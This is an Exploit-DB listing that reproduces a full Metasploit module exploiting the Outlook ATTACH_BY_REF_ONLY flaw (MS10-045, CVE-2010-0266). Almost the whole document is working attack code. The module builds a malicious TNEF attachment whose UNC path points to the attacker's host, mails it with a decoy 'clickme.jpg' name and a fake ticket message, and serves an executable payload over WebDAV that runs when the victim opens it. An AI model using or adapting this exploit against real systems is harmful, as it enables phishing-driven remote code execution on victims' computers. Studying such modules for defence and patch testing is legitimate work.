标题: Microsoft Outlook - 'ATTACH_BY_REF_ONLY' File Execution (MS10-045) (Metasploit) EDB-ID: 16700 CVE: 2010-0266 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: ms10_045_outlook_ref_only.rb 10389 2010-09-20 04:38:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 # This module acts as an HTTP server
 include Msf::Exploit::Remote::HttpServer::HTML

 # This module also sends email
 include Msf::Exploit::Remote::SMTPDeliver

 # This module generates an EXE
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'   => 'Outlook ATTACH_BY_REF_ONLY File Execution',
   'Description'  => %q{
    It has been discovered that certain e-mail message cause Outlook to create Windows
    shortcut-like attachments or messages within Outlook. Through specially crafted TNEF
    streams with certain MAPI attachment properties, it is possible to set a path name
    to files to be executed. When a user double clicks on such an attachment or message,
    Outlook will proceed to execute the file that is set by the path name value. These
    files can be local files, but also file stored remotely for example on a file share.
    Exploitation is limited by the fact that its is not possible for attackers to supply
    command line options.
   },
   'Author'  => 'Yorick Koster <yorick@akitasecurity.nl>',
   'Version'  => '$Revision: 10389 $',
   'References' =>
    [
     ['MSB', 'MS10-045'],
     ['CVE', '2010-0266'],
     ['OSVDB', '66296'],
     ['BID', '41446'],
     ['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20091001'],
    ],
   'Stance'         => Msf::Exploit::Stance::Passive,
   'Payload'        =>
    {
     'Space'       => 1024,
     'Compat'      =>
      {
       'ConnectionType' => '-bind -find',
      },

     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        => [ [ 'Automatic', {} ] ],
   'DisclosureDate' => 'Jun 01 2010',
   'DefaultTarget'  => 0
  ))

  register_options(
   [
    #
    # Email options
    #
    OptString.new('MESSAGECLASS',
     [false, 'Message Class value', 'IPM.Note']),
    OptString.new('FILENAME',
     [false, 'Sets the file name that is displayed in the message', 'clickme.jpg']),
    OptBool.new('HTML',
     [false, 'Send email in HTML or plain text', true]),
    OptString.new('MESSAGE',
     [false, 'Email message text', 'Dear Madam, Sir,\\n\\nWe have attached your tickets to this message.\\n\\nKind regards,\\n\\nEve']),
    #
    # WebDAV options
    #
    OptPort.new('SRVPORT',   [ true,  "The daemon port to listen on (do not change)", 80 ]),
    OptString.new('URIPATH', [ true,  "The URI to use (do not change).", "/" ]),
    OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
   ], self.class)

  deregister_options('SSL', 'SSLVersion') # Just for now
 end

 def on_request_uri(cli, request)

  case request.method
  when 'OPTIONS'
   process_options(cli, request)
  when 'PROPFIND'
   process_propfind(cli, request)
  when 'GET'
   process_get(cli, request)
  else
   print_error("Unexpected request method encountered: #{request.method}")
   resp = create_response(404, "Not Found")
   resp.body = ""
   resp['Content-Type'] = 'text/html'
   cli.send_response(resp)
  end

 end

 def process_get(cli, request)

  myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  webdav = "\\\\#{myhost}\\"

  if (request.uri =~ /\.exe$/i)
   print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..."
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  print_status "Sending 404  to #{cli.peerhost}:#{cli.peerport} ..."
  resp = create_response(404, "Not Found")
  resp.body = ""
  resp['Content-Type'] = 'text/html'
  cli.send_response(resp)
 end

 #
 # OPTIONS requests sent by the WebDav Mini-Redirector
 #
 def process_options(cli, request)
  print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
  headers = {
   'MS-Author-Via' => 'DAV',
#   'DASL'          => '<DAV:sql>',
#   'DAV'           => '1, 2',
   'Allow'         => 'OPTIONS, GET, PROPFIND',
   'Public'        => 'OPTIONS, GET, PROPFIND'
  }
  resp = create_response(207, "Multi-Status")
  resp.body = ""
  resp['Content-Type'] = 'text/xml'
  cli.send_response(resp)
 end

 #
 # PROPFIND requests sent by the WebDav Mini-Redirector
 #
 def process_propfind(cli, request)
  path = request.uri
  print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
  body = ''

  my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  my_uri    = "http://#{my_host}/"

  if path =~ /\.exe$/i
   # Response for the DLL
   print_status("Sending EXE multistatus for #{path} ...")
   body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

   resp = create_response(207, "Multi-Status")
   resp.body = body
   resp['Content-Type'] = 'text/xml'
   cli.send_response(resp)
   return
  end

  if path !~ /\/$/

   if path.index(".")
    print_status("Sending 404 for #{path} ...")
    resp = create_response(404, "Not Found")
    resp['Content-Type'] = 'text/html'
    cli.send_response(resp)
    return
   else
    print_status("Sending 301 for #{path} ...")
    resp = create_response(301, "Moved")
    resp["Location"] = path + "/"
    resp['Content-Type'] = 'text/html'
    cli.send_response(resp)
    return
   end
  end

  print_status("Sending directory multistatus for #{path} ...")
  body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
 <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
  <D:href>#{path}</D:href>
  <D:propstat>
   <D:prop>
    <lp1:resourcetype><D:collection/></lp1:resourcetype>
    <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <D:supportedlock>
     <D:lockentry>
      <D:lockscope><D:exclusive/></D:lockscope>
      <D:locktype><D:write/></D:locktype>
     </D:lockentry>
     <D:lockentry>
      <D:lockscope><D:shared/></D:lockscope>
      <D:locktype><D:write/></D:locktype>
     </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
   </D:prop>
  <D:status>HTTP/1.1 200 OK</D:status>
 </D:propstat>
</D:response>
|


  subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

  files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_exe}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  if request["Depth"].to_i > 0
   if path.scan("/").length < 2
    body << subdirectory
   else
    body << files
   end
  end

  body << "</D:multistatus>"

  body.gsub!(/\t/, '')

  # send the response
  resp = create_response(207, "Multi-Status")
  resp.body = body
  resp['Content-Type'] = 'text/xml; charset="utf8"'
  cli.send_response(resp)
 end

 def exploit

  unc = nil
  if (datastore['UNCHOST'])
   unc = datastore['UNCHOST'].dup
  else
   unc = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
  end

  @exploit_unc_host = unc
  @exploit_unc  = "\\\\#{unc}\\#{rand_text_alpha(rand(8)+4)}\\"
  @exploit_exe  = rand_text_alpha(rand(8)+4) + ".exe"

  if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
   raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
  end

  msg = Rex::MIME::Message.new
  msg.mime_defaults
  msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
  msg.to = datastore['MAILTO']
  msg.from = datastore['MAILFROM']

  if datastore['HTML'] == true
   body = create_email_body_html(datastore['MESSAGE'], msg.subject)
   content_type = "text/html; charset=\"iso-8859-1\""
   msg.add_part(body, content_type, 'quoted-printable')
  else
   body = create_email_body(datastore['MESSAGE'])
   content_type = 'text/plain'
   msg.add_part(body, content_type, '8bit')
  end

  attachment = Rex::Text.encode_base64(create_tnef_exploit(), "\r\n")
  content_type = 'application/ms-tnef'
  content_disposition = "attachment; name=\"winmail.dat\""
  msg.add_part(attachment, content_type, 'base64', content_disposition)

  print_status("Sending message to the target...")
  send_message(msg.to_s)

  print_status("Creating WebDAV service and waiting for connections...")
  super
 end

 def create_email_body(body)
  body = body.gsub(/\\[nr]/, "\n")
  body = body.gsub(/\\t/, "\t")
  return body
 end

 def create_email_body_html(body, subject)
  body = body.gsub(/\\[nr]/, "<BR>\n")
  body = body.gsub(/\\t/, "&nbsp;&nbsp;&nbsp;")
  body = "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2//EN\">\n<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=iso-8859-=\n1\">\n<TITLE>" << subject << "</TITLE>\n</HEAD>\n<BODY>\n" << body << "\n<BR><BR>\n</BODY>\n</HTML>"
  return body
 end

 def create_tnef_exploit
  filename = (datastore['FILENAME'] || 'clickme.png') << "\x00"
  message_class = (datastore['MESSAGECLASS'] || 'IPM.Note') << "\x00"
  pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8)+4)}/#{@exploit_exe}?.dat\x00"
  print_status("Using UNC path: #{pathname}")

  # start of TNEF stream
  sploit = create_tnef_header

  # MAPI message properties
  msgprops = "\x04\x00\x00\x00"   # Count  4

  msgprops << "\x0b\x00"    # Type  PT_BOOLEAN
  msgprops << "\x1b\x0e"    # Name  PR_HASATTACH
  msgprops << "\x01\x00\x00\x00"   # Value data 1

  msgprops << "\x1e\x00"    # Type  PT_STRING
  msgprops << "\x1a\x00"    # Name  PR_MESSAGE_CLASS
  msgprops << "\x01\x00\x00\x00"   # Count values 1
  msgprops << [message_class.length].pack("V") # Value length
  msgprops << mapi_pad(message_class)  # Value data

  msgprops << "\x03\x00"    # Type  PT_INT
  msgprops << "\xfe\x0f"    # Name  PR_OBJECT_TYPE
  msgprops << "\x05\x00\x00\x00"   # Value data MAPI_MESSAGE (5)

  msgprops << "\x03\x00"    # Type  PT_INT
  msgprops << "\x07\x0e"    # Name  PR_MESSAGE_FLAGS
  msgprops << "\x12\x00\x00\x00"   # Value data 0x00000012

  # add properties to TNEF stream
  sploit << "\x01"    # Level type LVL_MESSAGE
  sploit << "\x03\x90"    # Name  attMAPIProps (0x9003)
  sploit << "\x06\x00"    # Type  atpByte (0x0006)
  sploit << [msgprops.length].pack('V')  # Len
  sploit << msgprops
  sploit << tnef_checksum(msgprops)

  # start of TNEF attachment
  sploit << "\x02"    # Level type LVL_ATTACHMENT
  sploit << "\x02\x90"    # Name  attAttachRenddata (0x9002)
  sploit << "\x06\x00"    # Type  atpByte (0x0006)
  sploit << "\x0e\x00\x00\x00"   # Len  0x0000000e
  sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00"
  sploit << "\x3d\x04"    # Checksum

  # MAPI attachment properties
  attprops = "\x04\x00\x00\x00"   # Count  4

  attprops << "\x1e\x00"    # Type  PT_STRING
  attprops << "\x07\x37"    # Name  PR_ATTACH_LONG_FILENAME
  attprops << "\x01\x00\x00\x00"   # Count values 1
  attprops << [filename.length].pack('V')  # Value length
  attprops << mapi_pad(filename)   # Value data

  attprops << "\x1e\x00"    # Type  PT_STRING
  attprops << "\x0d\x37"    # Name  PR_ATTACH_LONG_PATHNAME
  attprops << "\x01\x00\x00\x00"   # Count values 1
  attprops << [pathname.length].pack('V')  # Value length
  attprops << mapi_pad(pathname)   # Value data

  attprops << "\x03\x00"    # Type  PT_INT
  attprops << "\x05\x37"    # Name  PR_ATTACH_METHOD
  attprops << "\x04\x00\x00\x00"   # Value data ATTACH_BY_REF_ONLY (4)

  attprops << "\x03\x00"    # Type  PT_INT
  attprops << "\xfe\x0f"    # Name  PR_OBJECT_TYPE
  attprops << "\x07\x00\x00\x00"   # Value data MAPI_ATTACH (7)

  # add properties to TNEF stream
  sploit << "\x02"    # Level type LVL_ATTACHMENT
  sploit << "\x05\x90"    # Name  attAttachment (0x800f)
  sploit << "\x06\x00"    # Type  atpByte (0x0006)
  sploit << [attprops.length].pack('V')  # Len
  sploit << attprops
  sploit << tnef_checksum(attprops)

  return sploit
 end

 def create_tnef_header
  # TNEF Header
  buf = "\x78\x9f\x3e\x22"   # Signature 0x223e9f78
  buf << "\x00\x00"    # Key

  # TNEF Attributes
  buf << "\x01"     # Level type LVL_MESSAGE
  buf << "\x06\x90"    # Name  attTnefVersion (0x9006)
  buf << "\x08\x00"    # Type  atpDword (0x0008)
  buf << "\x04\x00\x00\x00"   # Len  0x00000004
  buf << "\x00\x00\x01\x00"
  buf << "\x01\x00"    # Checksum

  buf << "\x01"     # Level type LVL_MESSAGE
  buf << "\x07\x90"    # Name  attOemCodepage (0x9007)
  buf << "\x06\x00"    # Type  atpByte (0x0006)
  buf << "\x08\x00\x00\x00"   # Len  0x00000008
  buf << "\xe4\x04\x00\x00\x00\x00\x00\x00"
  buf << "\xe8\x00"    # Checksum

  buf << "\x01"     # Level type LVL_MESSAGE
  buf << "\x0d\x80"    # Name  attPriority (0x800d)
  buf << "\x04\x00"    # Type  atpShort (0x0004)
  buf << "\x02\x00\x00\x00"   # Len  0x00000002
  buf << "\x02\x00"
  buf << "\x02\x00"    # Checksum

  return buf
 end

 def tnef_checksum(buf = '')
  checksum = 0;

  buf.each_byte { |b|
   checksum += b
  }

  return [checksum % 65536].pack('v')
 end

 def mapi_pad(buf = '')
  length = (buf.length + 3) & ~3

  (buf.length..(length - 1)).each {
   buf << "\x00"
  }

  return buf
 end
end URL: https://www.exploit-db.com/exploits/16700